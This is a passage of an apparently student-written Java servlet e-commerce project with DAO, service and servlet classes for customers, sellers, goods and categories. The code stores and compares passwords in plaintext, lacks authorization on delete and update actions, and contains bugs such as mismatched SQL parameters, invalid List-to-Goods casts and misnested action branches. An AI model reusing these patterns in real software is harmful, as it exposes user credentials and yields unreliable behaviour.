}
}
if (action!=null && action.equals("updateCus")){
String cusid=request.getParameter("id");
String name=request.getParameter("cusName");
String pwd=request.getParameter("cusPwd");
String email=request.getParameter("cusEmail");
String car=request.getParameter("cusCarid");
String sex=request.getParameter("sex");
String hobby=request.getParameter("cusHobby");
String birthday=request.getParameter("cusBirthday");
String cusLogin=request.getParameter("cusLogin");
Customer c=(Customer) session.getAttribute("cus");
if ((cusid!=null&&!cusid.equals("")) && (birthday!=null && !birthday.equals(""))) {
try {
java.util.Date dd=new SimpleDateFormat("yyyy-MM-dd").parse(birthday);
long id2=Long.valueOf(cusid);
Customer customer = new Customer(id2, name, cusLogin, pwd, email, sex, c.getCusPhoto(), hobby, car, dd);
int a= cusImpl.updateById(customer);
if (a>0){
//修改成功
// session.setAttribute("cusq",customer);
// session.setAttribute("cg","tr");
response.sendRedirect(path+"doCus?action=queryCustomer&pageNumber=1");
}else {
// session.setAttribute("sb","fa");
out.println("修改失败");
}
} catch (ParseException e) {
e.printStackTrace();
}
}
}
/**
* 添加商品到购物车
*/
if (action!=null && action.equals("addGoodsToShopCar")){
}
/**
* 修改商品到购物车
*/
if (action!=null && action.equals("updateGoodsToShopCar")){
}
/**
* 删除商品到购物车
*/
if (action!=null && action.equals("delGoodsToShopCar")){
}
/**
* 查询订单状态
*/
if (action!=null && action.equals("queryGoodsStatusToShopCar")){
}
/**
* 模糊查询商品信息
*/
if (action!=null && action.equals("queryGoodsOnLike")){
}
}
}
```
SuperServiceDao.java
```package service;
import pojo.Customer;
import pojo.Superuser;
import pojo.page;
import java.util.List;
public interface SuperServiceDao {
Superuser Login(String name, String pwd);
int supUpdateSelf(Superuser sup);
page<Customer> cusQuerylike( int pageNumber, int pageSize,String id, String name, String sex);
}
```
GoodsServiceDaoImpl.java
```package service.impl;
import Dao.impl.GoodsDaoImpl;
import pojo.Goods;
import pojo.goodsSmaSell;
import pojo.page;
import service.GoodsServiceDao;
import java.util.List;
public class GoodsServiceDaoImpl implements GoodsServiceDao {
private static GoodsServiceDaoImpl ourInstance = new GoodsServiceDaoImpl();
public static GoodsServiceDaoImpl getInstance() {
return ourInstance;
}
public GoodsServiceDaoImpl() {
}
private GoodsDaoImpl goodsDao=new GoodsDaoImpl();
public page<goodsSmaSell> goodsPageQueryAll(int pageNumber, int pageSize) {
return goodsDao.goodsPageQueryAll(pageNumber,pageSize);
}
public int delGoods(String id) {
return goodsDao.delGoods(id);
}
public int addGoods(Goods gg) {
return goodsDao.add(gg);
}
public Goods queryById(String id) {
return goodsDao.queryById(id);
}
public int update(Goods gg) {
return goodsDao.update(gg);
}
}
```
AnnouncementDao.java
```package Dao;
import pojo.Announcement;
import pojo.page;
public interface AnnouncementDao {
page<Announcement> annPageQueryAll(int pageNumber, int pageSize);
int addAnn(Announcement ann);
int delAnn(String id);
Announcement queryById(String id);
int updateByid(Announcement ann);
}
```
SellerDaoImpl.java
```package Dao.impl;
import Dao.BaseDao;
import Dao.SellerDao;
import core.pageUtil;
import pojo.*;
import java.io.ObjectInputStream;
import java.sql.ResultSet;
import java.sql.SQLException;
import java.util.ArrayList;
import java.util.List;
public class SellerDaoImpl extends BaseDao implements SellerDao{
public page<Seller> sellPageQuery(int pageNumber, int pageSize) {
page<Seller> Bpage=new page<Seller>();
Bpage.setPageNumber(pageNumber);
Bpage.setPageSize(pageSize);
String sql="SELECT COUNT(1) from seller ";
String sql2="select * from seller";
Bpage.setTotalRecode(pageUtil.getTotalRecode(sql,null));
List<Seller> list=new ArrayList<Seller>();
ResultSet rs=pageUtil.getPageDate(sql2,pageSize,pageNumber,null);
try{
while(rs.next()){
Seller ss=new Seller();
ss.setId(rs.getLong("id"));
ss.setSellerName(rs.getString("sellerName"));
ss.setSellerAddress(rs.getString("sellerAddress"));
ss.setSellerBirthday(rs.getDate("sellerBirthday"));
ss.setSellerEmail(rs.getString("sellerEmail"));
ss.setSellerIdCard(rs.getString("sellerIdCard"));
//ss.setSellerPassword(rs.getString("sellerPassword"));
ss.setSellerSex(rs.getString("sellerSex"));
ss.setSellerTel(rs.getString("sellerTel"));
ss.setSellerUser(rs.getString("sellerUser"));
list.add(ss);
}
}catch (SQLException e){
e.printStackTrace();
}finally {
dbClose();
}
Bpage.setPageData(list);
return Bpage;
}
private GoodsDaoImpl supDao = new GoodsDaoImpl();
private SellerDaoImpl seldao=new SellerDaoImpl();
public int delSell(String id) {
String sql="delete from seller WHERE id NOT IN (SELECT goodsSellId from goods) and id=?";
Object[]par={id};
return getUpdate(sql,par);
}
public int addSell(Seller se) {
String sql="insert into seller values(?,?,?,?,?,?,?,?,?,?)";
Object[]par={se.getId(),se.getSellerName(),se.getSellerUser(),se.getSellerPassword(),se.getSellerSex(),se.getSellerBirthday(),se.getSellerIdCard(), se.getSellerEmail(),se.getSellerTel(),se.getSellerAddress()};
return getUpdate(sql,par);
}
public int uppdateSell(Seller se) {
String sql="update seller set id=?,sellerName=?,sellerUser=?,sellerPassword=?,sellerSex=?,sellerBirthday=?,sellerIdCard=?,sellerEmail=?,sellerTel=?,sellerAddress=? where id=?";
Object[]par={se.getId(),se.getSellerName(),se.getSellerUser(),se.getSellerPassword(),se.getSellerSex(),se.getSellerBirthday(),se.getSellerIdCard(),se.getSellerEmail(),se.getSellerTel(),se.getSellerAddress(),se.getId()};
return getUpdate(sql,par);
}
public Seller queryById(String id) {
String sql="select * from seller where id=?";
Object[]par={id};
ResultSet rs=getQuery(sql,par);
Seller ss=new Seller();
try{
while(rs.next()){
ss.setId(rs.getLong("id"));
ss.setSellerName(rs.getString("sellerName"));
ss.setSellerAddress(rs.getString("sellerAddress"));
ss.setSellerBirthday(rs.getDate("sellerBirthday"));
ss.setSellerEmail(rs.getString("sellerEmail"));
ss.setSellerIdCard(rs.getString("sellerIdCard"));
ss.setSellerPassword(rs.getString("sellerPassword"));
ss.setSellerSex(rs.getString("sellerSex"));
ss.setSellerTel(rs.getString("sellerTel"));
ss.setSellerUser(rs.getString("sellerUser"));
}
return ss;
}catch (SQLException e){
e.printStackTrace();
}finally {
dbClose();
}
return null;
}
public List<Seller> queryById() {
String sql="select * from seller ";
ResultSet rs=getQuery(sql,null);
List<Seller>list=new ArrayList<Seller>();
Seller ss=new Seller();
try{
while(rs.next()){
ss.setId(rs.getLong("id"));
ss.setSellerName(rs.getString("sellerName"));
ss.setSellerAddress(rs.getString("sellerAddress"));
ss.setSellerBirthday(rs.getDate("sellerBirthday"));
ss.setSellerEmail(rs.getString("sellerEmail"));
ss.setSellerIdCard(rs.getString("sellerIdCard"));
ss.setSellerPassword(rs.getString("sellerPassword"));
ss.setSellerSex(rs.getString("sellerSex"));
ss.setSellerTel(rs.getString("sellerTel"));
ss.setSellerUser(rs.getString("sellerUser"));
list.add(ss);
}
return list;
}catch (SQLException e){
e.printStackTrace();
}finally {
dbClose();
}
return null;
}
public Seller queryByid(String id) {
String sql="select * from seller where id=?";
Object[]par={id};
ResultSet rs=getQuery(sql,par);
Seller ss=new Seller();
try{
while(rs.next()){
ss.setId(rs.getLong("id"));
ss.setSellerName(rs.getString("sellerName"));
ss.setSellerAddress(rs.getString("sellerAddress"));
ss.setSellerBirthday(rs.getDate("sellerBirthday"));
ss.setSellerEmail(rs.getString("sellerEmail"));
ss.setSellerIdCard(rs.getString("sellerIdCard"));
ss.setSellerPassword(rs.getString("sellerPassword"));
ss.setSellerSex(rs.getString("sellerSex"));
ss.setSellerTel(rs.getString("sellerTel"));
ss.setSellerUser(rs.getString("sellerUser"));
}
return ss;
}catch (SQLException e){
e.printStackTrace();
}finally {
dbClose();
}
return null;
}
public int updateById(Seller se) {
String sql="update seller set sellerName=?,sellerUser=?,sellerPassword=?,sellerSex=?,sellerBirthday=?,sellerIdCard=?,sellerEmail=?,sellerTel=?,sellerAddress=? where id=?";
Object[]par={se.getId(),se.getSellerName(),se.getSellerUser(),se.getSellerPassword(),se.getSellerSex(),se.getSellerBirthday(),se.getSellerIdCard(),se.getSellerEmail(),se.getSellerTel(),se.getSellerAddress(),se.getId()};
return getUpdate(sql,par);
}
public int addGoods(Goods gg) {
return 0;
}
public List<Goods> queryGoods(String id) {
String sql = "select * from goods where goodsSellId =(select id from seller where id=?)";
Object[] parameter = {id};
List<Goods> stuList = supDao.query(sql, parameter);
if (stuList != null && stuList.size() > 0) {
return stuList;
}
return null;
}
public Goods ggQueryLike(String goodsid,String sellerid,String name) {
if (goodsid!=null && name!=null ) {
int idsize = goodsid.length();
int nameSize = name.length();
if (idsize == 0 && nameSize == 0 ) {
//查询商家个人所有
String sql = "select * from goods where goodsSellId =(select id from seller where id=sellerid);";
Object[] parameter = {sellerid};
List<Goods> stuList = supDao.query(sql, parameter);
if (stuList != null && stuList.size() > 0) {
Goods gs= (Goods) stuList;
return gs;
}
} else if (idsize>0 && nameSize == 0 ) {
//根据ID具体查询商品
String sql = "select * from goods where goodsSellId=sellerid and id=? ";
Object[] parameter = {goodsid};
List<Goods> stuList = supDao.query(sql, parameter);
if (stuList != null && stuList.size() > 0) {
Goods gs= (Goods) stuList;
return gs;
}
}else if (idsize ==0 && nameSize > 0 ){
//根据商品名称模糊查询商品
String sql = "select * from goods where goodsSellId=sellerid and goodsName like ?";
Object[] parameter = {"%" + name + "%"};
List<Goods> stuList = supDao.query(sql, parameter);
if (stuList != null && stuList.size() > 0) {
Goods gs= (Goods) stuList;
return gs;
}
}
}
return null;
}
public List<Orderse> queryOrder(String id) {
return null;
}
public int updateAnnById(String id) {
return 0;
}
public Seller seLogin(String sellerUser, String sellerPassword) {
String sql="select * from seller where sellerUser=? and sellerPassword=?";
Object []parameter={sellerUser,sellerPassword};
ResultSet rs=getQuery(sql,parameter);
try {
while (rs.next()){
Seller ss=new Seller();
ss.setId(rs.getLong("id"));
ss.setSellerName(rs.getString("sellerName"));
ss.setSellerAddress(rs.getString("sellerAddress"));
ss.setSellerBirthday(rs.getDate("sellerBirthday"));
ss.setSellerEmail(rs.getString("sellerEmail"));
ss.setSellerIdCard(rs.getString("sellerIdCard"));
ss.setSellerPassword(rs.getString("sellerPassword"));
ss.setSellerSex(rs.getString("sellerSex"));
ss.setSellerTel(rs.getString("sellerTel"));
ss.setSellerUser(rs.getString("sellerUser"));
return ss;
}
} catch (SQLException e) {
e.printStackTrace();
}
finally {
dbClose();
}
return null;
}
}
```
DiscountDaoImpl.java
```package Dao.impl;
import Dao.BaseDao;
import Dao.DiscountDao;
import core.pageUtil;
import pojo.Discount;
import pojo.page;
import java.sql.ResultSet;
import java.sql.SQLException;
import java.util.ArrayList;
import java.util.List;
public class DiscountDaoImpl extends BaseDao implements DiscountDao{
public page<Discount> disPageQueryAll(int pageNumber, int pageSize) {
page<Discount> page=new page<Discount>();
page.setPageNumber(pageNumber);
page.setPageSize(pageSize);
String sql="select count(1) from discount ";
String sql2="select *from discount";
page.setTotalRecode(pageUtil.getTotalRecode(sql,null));
List<Discount> list=new ArrayList<Discount>();
ResultSet rs=pageUtil.getPageDate(sql2,pageSize,pageNumber,null);
try{
while(rs.next()){
Discount dis=new Discount();
dis.setId(rs.getLong("id"));
dis.setDiscRate(rs.getDouble("discRate"));
list.add(dis);
}
}catch (SQLException e){
e.printStackTrace();
}finally {
dbClose();
}
page.setPageData(list);
return page;
}
public int delDis(String id) {
String sql="delete from discount where id=?";
Object[]par={id};
return getUpdate(sql,par);
}
}
```
SmallClassDaoImpl.java
```package Dao.impl;
import Dao.BaseDao;
import Dao.SmallClassDao;
import core.pageUtil;
import pojo.Bigclass;
import pojo.Smallclass;
import pojo.page;
import pojo.smallBig;
import java.sql.ResultSet;
import java.sql.SQLException;
import java.util.ArrayList;
import java.util.List;
public class SmallClassDaoImpl extends BaseDao implements SmallClassDao{
public page<smallBig> bigPageQueryAll(int pageNumber, int pageSize) {
page<smallBig> Spage=new page<smallBig>();
Spage.setPageSize(pageSize);
Spage.setPageNumber(pageNumber);
String sql= "select count(1) from smallclass INNER JOIN bigclass ON smallBigId=bigclass.id";
String sql2="select smallclass.id,smallName,smallBigId,smallText,bigclass.bigName from smallclass\n" +
"INNER JOIN bigclass ON smallBigId=bigclass.id\n" +
"ORDER BY smallclass.id DESC";
Spage.setTotalRecode(pageUtil.getTotalRecode(sql,null));
List<smallBig> list=new ArrayList<smallBig>();
ResultSet rs=pageUtil.getPageDate(sql2,pageSize,pageNumber,null);
try{
while (rs.next()){
smallBig smallBig=new smallBig();
Smallclass sma=new Smallclass();
sma.setId(rs.getLong("id"));
sma.setSmallText(rs.getString("smallText"));
sma.setSmallName(rs.getString("smallName"));
sma.setSmallBigId(rs.getLong("smallBigId"));
smallBig.setSma(sma);
Bigclass big=new Bigclass();
big.setBigName(rs.getString("bigName"));
smallBig.setBig(big);
list.add(smallBig);
}
}catch (SQLException e){
e.printStackTrace();
}finally {
dbClose();
}
Spage.setPageData(list);
return Spage;
}
public int delSma(String id) {
String sql="delete from smallclass WHERE id NOT IN (SELECT goodsSmalId from goods) and id=? ";
Object[]par={id};
return getUpdate(sql,par);
}
public Smallclass sm() {
String sql="select * from smallclass";
ResultSet rs=getQuery(sql,null);
Smallclass sma=new Smallclass();
try{
while (rs.next()){
sma.setId(rs.getLong("id"));
sma.setSmallText(rs.getString("smallText"));
sma.setSmallName(rs.getString("smallName"));
sma.setSmallBigId(rs.getLong("smallBigId"));
}
return sma;
}catch (SQLException e){
e.printStackTrace();
}finally {
dbClose();
}
return null;
}
}
```
SuperDao.java
```package Dao;
import pojo.Customer;
import pojo.Superuser;
import pojo.page;
import java.util.List;
public interface SuperDao {
List<Superuser> querySuper(String name,String pwd);
int supUpdateSelf(Superuser sup);
List<Customer> query(String sql,Object[]par);
page<Customer> cusQuerylike(int pageNumber, int pageSize,String sql1,String sql2,Object[]par);
}
```
SellerDao.java
```package Dao;
import pojo.*;
import java.util.List;
public interface SellerDao {
page<Seller> sellPageQuery(int pageNumber, int pageSize);
int delSell(String id);
int addSell(Seller se);
int uppdateSell(Seller se);
Seller queryById(String id);
List<Seller> queryById();
/**
* 前端方法如下
*/
//查询个人信息
Seller queryByid(String id);
//修改个人信息+密码
int updateById(Seller ss);
//添加商品
int addGoods(Goods gg);
//查询商品
List<Goods> queryGoods(String id);
//级联查询
Goods ggQueryLike(String goodsid,String sellerid,String name);
//查询订单
List<Orderse> queryOrder(String id);
//修改订单
int updateAnnById(String id);
//登入
Seller seLogin(String sellerUser,String sellerPassword);
}
```
SellerServlet.java
```package Servlet;
import pojo.Goods;
import pojo.Seller;
import pojo.page;
import service.impl.BigclassServiceDaoImpl;
import service.impl.GoodsServiceDaoImpl;
import service.impl.SellerServiceDaoIMpl;
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;
import java.io.IOException;
import java.io.PrintWriter;
import java.sql.Date;
@WebServlet(name = "SellerServlet",urlPatterns = "/doSell")
public class SellerServlet extends HttpServlet {
@Override
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
doGet(request,response);
}
@Override
protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
//统一字符集
request.setCharacterEncoding("utf-8");
response.setCharacterEncoding("utf-8");
response.setContentType("text/html;charset=utf-8");
//获取输入流对象
PrintWriter out = response.getWriter();
//获取path路径
String path = request.getContextPath();
//获取session对象
HttpSession session = request.getSession();
//获取Service的对象
SellerServiceDaoIMpl seldao=SellerServiceDaoIMpl.getInstance();
GoodsServiceDaoImpl goodao=new GoodsServiceDaoImpl();
String action=request.getParameter("action");
if (action!=null && action.equals("querySell")){
//定义每页显示的条数
int pageSize = 5;
//接收要查看的页码
String ss = request.getParameter("pageNumber");
if (ss != null && !ss.equals("")) {
int pageNumber=Integer.parseInt(ss);
//调用带有分页的查询业务方法
page<Seller> page = seldao.sellPageQuery(pageNumber,pageSize);
session.setAttribute("Page", page);
request.setAttribute("ServletUrl", "/doSell?action=querySell");
request.getRequestDispatcher(path + "/page/showSeller.jsp").forward(request, response);
}
}
/**
* 删除
*/
if(action!=null&&action.equals("delSeller")){
String id=request.getParameter("id");
int a=seldao.delSell(id);
if (a>0){
//删除成功
//session.setAttribute("true","tr");
response.sendRedirect(path+"doSell?action=querySell&pageNumber=1");
}else{
//删除失败
//session.setAttribute("false","fa");
out.println("删除失败");
}
}
/**
* 添加
*/
if (action!=null && action.equals("addSell")){
String id=request.getParameter("id");
String name=request.getParameter("name");
String user=request.getParameter("user");
String sex=request.getParameter("sex");
String address=request.getParameter("address");
String email=request.getParameter("email");
String phone=request.getParameter("phone");
String birthday=request.getParameter("birthday");
String idCard=request.getParameter("idCard");
String pwd=request.getParameter("pwd");
if (id!=null && !id.equals("")) {
long id2=Long.valueOf(id);
Seller se = new Seller(id2, name, user, pwd, sex, Date.valueOf(birthday), idCard, email, phone, address);
int a=seldao.addSell(se);
System.out.println(a+"qwerdf");
if (a>0){
//添加成功
response.sendRedirect(path+"doSell?action=querySell&pageNumber=1");
}else{
out.println("添加失败");
}
}
}
/**
* 修改商家信息
*/
if (action!=null && action.equals("upSeller")){
String id=request.getParameter("id");
Seller ss=seldao.queryById(id);
session.setAttribute("Seller",ss);
response.sendRedirect(path+"page/updateSeller.jsp");
}
if (action!=null && action.equals("updateSell")){
Seller ss=(Seller)session.getAttribute("Seller");
String id=request.getParameter("id");
String user=request.getParameter("sellUser");
String sex=request.getParameter("sex");
String address=request.getParameter("sellAddress");
String email=request.getParameter("sellEmail");
String phone=request.getParameter("sellPhone");
String birthday=request.getParameter("sellBir");
String idCard=request.getParameter("sellIdCard");
String pwd=request.getParameter("sellPwd");
String name=request.getParameter("sellName");
if (!name.equals(ss.getSellerName())){
if (id!=null && !id.equals("")) {
long id2 = Long.valueOf(id);
Seller se = new Seller(id2, name, user, pwd, sex, Date.valueOf(birthday), idCard, email, phone, address);
int a = seldao.uppdateSell(se);
if (a>0){
response.sendRedirect(path+"doSell?action=querySell&pageNumber=1");
}
}
}else{
out.println("<script>alert('商家名称不能相同')</script>");
//response.sendRedirect(path+"doSell?action=querySell&pageNumber=1");
}
//根据ID查看商家个人信息
if (action != null && action.equals("modSeller")) {
String stuId = request.getParameter("id");
Seller cus = seldao.queryById(stuId);
if (cus != null) {
session.setAttribute("Seller", cus);
response.sendRedirect("/page/ShowUpdateSeller.jsp");
}
}
/*
* 添加商品
* */
if (action != null && action.equals("queryAddGoodsClass")) {
response.sendRedirect("page/AddGoods.jsp");
}
if (action != null && action.equals("addGoodsClass")) {
Long goodid = Long.parseLong(request.getParameter("gid"));
String goodname = request.getParameter("gname");
Long smailid= Long.parseLong(request.getParameter("gsid"));
Double goodmoney =Double.parseDouble(request.getParameter("gmoney"));
Long goodnumber = Long.parseLong(request.getParameter("gnumber"));
String goodimg = request.getParameter("gimg");
Double goodcarriage= Double.parseDouble(request.getParameter("gcarriage"));
Long goodtype= Long.parseLong(request.getParameter("gtype"));
Long gooddiscid= Long.parseLong(request.getParameter("gdiscid"));
String goodselleridi=request.getParameter("gsid");
Goods cus = new Goods(goodid, goodname,smailid,goodmoney,goodnumber,goodimg,goodcarriage,goodtype,gooddiscid,goodselleridi);
if (goodao.addGoods(cus)==1) {
System.out.println("添加成功");
response.sendRedirect("/doadmin?action=queryGoodsClass&pageNumber=1");
} else {
System.out.println("添加失败");
response.sendRedirect("/doadmin?action=queryGoodsClass&pageNumber=1");
}
}
//根据ID查询商品
if (action != null && action.equals("modGoodsClass")) {
String stuId = request.getParameter("id");
Goods cus = (Goods) seldao.queryGoods(stuId);
if (cus != null) {
session.setAttribute("Goods", cus);
response.sendRedirect("/page/ShowUpdateGoodsClass.jsp");
}
}
//级联查询
if (action!=null && action.equals("")){
String goodsId = request.getParameter("id");
String goodName = request.getParameter("name");
String goodSellerId = request.getParameter("sellerId");
Goods good=seldao.ggQueryLike(goodsId,goodName,goodSellerId);
session.setAttribute("page", good);
request.setAttribute("userid", goodsId);
request.setAttribute("userName", goodName);
request.setAttribute("usersex", goodSellerId);
request.getRequestDispatcher("/page/showGoods.jsp").forward(request, response);
}
}
}
}
```
SellerServiceDaoIMpl.java
```package service.impl;
import Dao.impl.SellerDaoImpl;
import pojo.Goods;
import pojo.Seller;
import pojo.page;
import service.SellerServiceDao;
import java.util.List;
public class SellerServiceDaoIMpl implements SellerServiceDao{
private static SellerServiceDaoIMpl ourInstance = new SellerServiceDaoIMpl();
public static SellerServiceDaoIMpl getInstance() {
return ourInstance;
}
private SellerServiceDaoIMpl() {
}
private SellerDaoImpl sellerDao=new SellerDaoImpl();
public page<Seller> sellPageQuery(int pageNumber, int pageSize) {
return sellerDao.sellPageQuery(pageNumber,pageSize);
}
public int delSell(String id) {
return sellerDao.delSell(id);
}
public int addSell(Seller se) {
return sellerDao.addSell(se);
}
public int uppdateSell(Seller se) {
return sellerDao.uppdateSell(se);
}
public Seller queryById(String id) {
return sellerDao.queryById(id);
}
public List<Seller> queryById() {
return sellerDao.queryById();
}
public List<Goods> queryGoods(String id) {
return sellerDao.queryGoods(id);
}
public Goods ggQueryLike(String goodsid, String sellerid, String name) {
return sellerDao.ggQueryLike(goodsid,sellerid,name);
}
}
```
Announcement.java
```package pojo;
import java.sql.Date;
public class Announcement {
private long id;
private String anTitle;
private String anText;
private java.sql.Date anDate;
public Announcement() {
}
public Announcement(long id, String aTitle, String aText, Date aDate) {
this.id = id;
this.anTitle = aTitle;
this.anText = aText;
this.anDate = aDate;
}
public long getId() {
return id;
}
public void setId(long id) {
this.id = id;
}
public String getAnTitle() {
return anTitle;
}
public void setATitle(String aTitle) {
this.anTitle = aTitle;
}
public String getAnText() {
return anText;
}
public void setAText(String aText) {
this.anText = aText;
}
public java.sql.Date getAnDate() {
return anDate;
}
public void setADate(java.sql.Date aDate) {
this.anDate = aDate;
}
}
```
DiscountDao.java
```package Dao;
import pojo.Discount;
import pojo.page;
public interface DiscountDao {
page<Discount> disPageQueryAll(int pageNumber, int pageSize);
int delDis(String id);
}
```
CustomerServiceDao.java
```package service;
import pojo.*;
import java.util.List;
public interface CustomerServiceDao {
page<Customer> cusPageQueryAll(int pageNumber, int pageSize);
int delCus(String id);
Customer queryById(String id);
int updateById(Customer cus);
/**
* 前台
* @return
*/
//添加-购物车
int addShop(Shoppingcar shop);
//修改-购物车
int updateShop(Shoppingcar shop);
//删除-购物车
int delShop(String id);
//查询订单
Orderse queryOrder(String id);
//模糊查询商品信息
List<Goods> queryLikeGoods(String id, String name);
}
```
GoodsServiceDao.java
```package service;
import pojo.Goods;
import pojo.goodsSmaSell;
import pojo.page;
public interface GoodsServiceDao {
page<goodsSmaSell> goodsPageQueryAll(int pageNumber, int pageSize);
int delGoods(String id);
int addGoods(Goods gg);
Goods queryById(String id);
int update(Goods gg);
}
```
AnnouncementServiceDao.java
```package service;
import pojo.Announcement;
import pojo.page;
public interface AnnouncementServiceDao {
page<Announcement> annPageQueryAll( int pageNumber,int pageSize);
int addAnn(Announcement ann);
int delAnn(String id);
Announcement queryById(String id);
int updateByid(Announcement ann);
}
```
SmallClassServlet.java
```package Servlet;
import pojo.Smallclass;
import pojo.page;
import pojo.smallBig;
import service.impl.SmallClassServiceDaoImpl;
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;
import java.io.IOException;
import java.io.PrintWriter;
@WebServlet(name = "SmallClassServlet",urlPatterns = "/doSmall")
public class SmallClassServlet extends HttpServlet {
@Override
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
doGet(request,response);
}
@Override
protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
//统一字符集
request.setCharacterEncoding("utf-8");
response.setCharacterEncoding("utf-8");
response.setContentType("text/html;charset=utf-8");
//获取输入流对象
PrintWriter out = response.getWriter();
//获取path路径
String path = request.getContextPath();
//获取session对象
HttpSession session = request.getSession();
//获取smallClassService的对象
SmallClassServiceDaoImpl sma=SmallClassServiceDaoImpl.getInstance();
String action=request.getParameter("action");
if (action!=null && action.equals("querySmall")) {
//定义每页显示的条数
int pageSize = 5;
//接收要查看的页码
String ss = request.getParameter("pageNumber");
if (ss != null && !ss.equals("")) {
int pageNumber = Integer.parseInt(ss);
//调用带有分页的查询业务方法
page<smallBig> page = sma.smaPageQueryAll(pageNumber, pageSize);
session.setAttribute("Page", page);
request.setAttribute("ServletUrl", "/doSmall?action=querySmall");
request.getRequestDispatcher(path + "/page/showSmall.jsp").forward(request, response);
}
}
/**
* 删除
*/
if (action!=null && action.equals("delSmall")){
String id=request.getParameter("id");
int a=sma.delSma(id);
if (a>0){
//删除成功;
session.setAttribute("true","yes");
response.sendRedirect(path+"/doSmall?action=querySmall&pageNumber=1");
}else {
//删除失败
session.setAttribute("false","no");
}
}
}
}
```
CustomerServiceDaoImpl.java
```package service.impl;
import Dao.impl.CustomerDaoImpl;
import pojo.*;
import service.CustomerServiceDao;
import java.util.List;
public class CustomerServiceDaoImpl implements CustomerServiceDao{
private static CustomerServiceDaoImpl ourInstance = new CustomerServiceDaoImpl();
public static CustomerServiceDaoImpl getInstance() {
return ourInstance;
}
private CustomerServiceDaoImpl() {
}
private CustomerDaoImpl customerDao=new CustomerDaoImpl();
public page<Customer> cusPageQueryAll(int pageNumber, int pageSize) {
return customerDao.pageQuery(pageSize,pageNumber);
}
public int delCus(String id) {
return customerDao.delCus(id);
}
public Customer queryById(String id) {
return customerDao.queryById(id);
}
public int updateById(Customer cus) {
return customerDao.updateById(cus);
}
public int addShop(Shoppingcar shop) {
return customerDao.addShop(shop);
}
public int updateShop(Shoppingcar shop) {
return 0;
}
public int delShop(String id) {
return 0;
}
public Orderse queryOrder(String id) {
return null;
}
public List<Goods> queryLikeGoods(String id, String name) {
return null;
}
}
```
SmallClassServiceDaoImpl.java
```package service.impl;
import Dao.impl.SmallClassDaoImpl;
import pojo.Smallclass;
import pojo.page;
import pojo.smallBig;
import service.SmallClassServiceDao;
public class SmallClassServiceDaoImpl implements SmallClassServiceDao {
private static SmallClassServiceDaoImpl ourInstance = new SmallClassServiceDaoImpl();
public static SmallClassServiceDaoImpl getInstance() {
return ourInstance;
}
private SmallClassServiceDaoImpl() {
}
private SmallClassDaoImpl smallClassDao=new SmallClassDaoImpl();
public page<smallBig> smaPageQueryAll(int pageNumber, int pageSize) {
return smallClassDao.bigPageQueryAll(pageNumber,pageSize);
}
public int delSma(String id) {
return smallClassDao.delSma(id);
}
public Smallclass sm() {
return smallClassDao.sm();
}
}
```
SmallClassServiceDao.java
```package service;
import pojo.Smallclass;
import pojo.page;
import pojo.smallBig;
public interface SmallClassServiceDao {
page<smallBig> smaPageQueryAll(int pageNumber, int pageSize);
int delSma(String id);
Smallclass sm();
}
```
SuperDaoImpl.java
```package Dao.impl;
import Dao.BaseDao;
import Dao.SuperDao;
import core.pageUtil;
import pojo.Customer;
import pojo.Superuser;
import pojo.page;
import java.sql.ResultSet;
import java.sql.SQLException;
import java.util.ArrayList;
import java.util.List;
public class SuperDaoImpl extends BaseDao implements SuperDao {
public List<Superuser> querySuper(String name,String pwd) {
String sql="select * from superuser where userLoginName=? and userPassword=?";
Object[]par={name,pwd};
List<Superuser> supList=new ArrayList<Superuser>();
ResultSet rs=getQuery(sql,par);
try{
while (rs.next()){
Superuser sup=new Superuser();
sup.setId(rs.getLong("id"));
sup.setUserId(rs.getString("userID"));
sup.setUserName(rs.getString("userName"));
sup.setUserLoginName(rs.getString("userLoginName"));
sup.setUserPassword(rs.getString("userPassword"));
sup.setUserImage(rs.getString("userImage"));
sup.setUserStatus(rs.getLong("userStatus"));
supList.add(sup);
}
return supList;
}catch (SQLException e){
e.printStackTrace();
}finally {
dbClose();
}
return null;
}
public int supUpdateSelf(Superuser sup) {
String sql="update superuser set userName=?,userImage=?,userStatus=?,userID=?,userLoginName=? where id=?";
Object[]par={sup.getUserName(),sup.getUserImage(),sup.getUserStatus(),sup.getUserId(),sup.getUserLoginName(),sup.getId()};
return getUpdate(sql,par);
}
public List<Customer> query(String sql,Object[]par) {
ResultSet rs= getQuery(sql,par);
List<Customer>cuslist=new ArrayList<Customer>();
try{
while(rs.next()){
Customer cus=new Customer();
cus.setId(rs.getLong("id"));
cus.setCusName(rs.getString("cusName"));
cus.setCusLoginName(rs.getString("cusLoginName"));
cus.setCusBirthday(rs.getDate("cusBirthday"));
cus.setCusCode(rs.getString("cusCode"));
cus.setCusEmail(rs.getString("cusEmail"));
cus.setCusHobby(rs.getString("cusHobby"));
cus.setCusPassword(rs.getString("cusPassword"));
cus.setCusSex(rs.getString("cusSex"));
cus.setCusPhoto(rs.getString("cusPhoto"));
cuslist.add(cus);
}
return cuslist;
}catch (SQLException e){
e.printStackTrace();
}finally {
dbClose();
}
return null;
}
public page<Customer> cusQuerylike(int pageNumber, int pageSize, String sql1,String sql2,Object[]par) {
page<Customer> pageList=new page<Customer>();
pageList.setPageSize(pageSize);
pageList.setPageNumber(pageNumber);
pageList.setTotalRecode(pageUtil.getTotalRecode(sql1,par));
List<Customer> list=new ArrayList<Customer>();
ResultSet rs=pageUtil.getPageDate(sql2,pageSize,pageNumber,par);
try{
while(rs.next()){
Customer cus=new Customer();
cus.setId(rs.getLong("id"));
cus.setCusName(rs.getString("cusName"));
cus.setCusLoginName(rs.getString("cusLoginName"));
cus.setCusBirthday(rs.getDate("cusBirthday"));
cus.setCusCode(rs.getString("cusCode"));
cus.setCusEmail(rs.getString("cusEmail"));
cus.setCusHobby(rs.getString("cusHobby"));
cus.setCusPassword(rs.getString("cusPassword"));
cus.setCusSex(rs.getString("cusSex"));
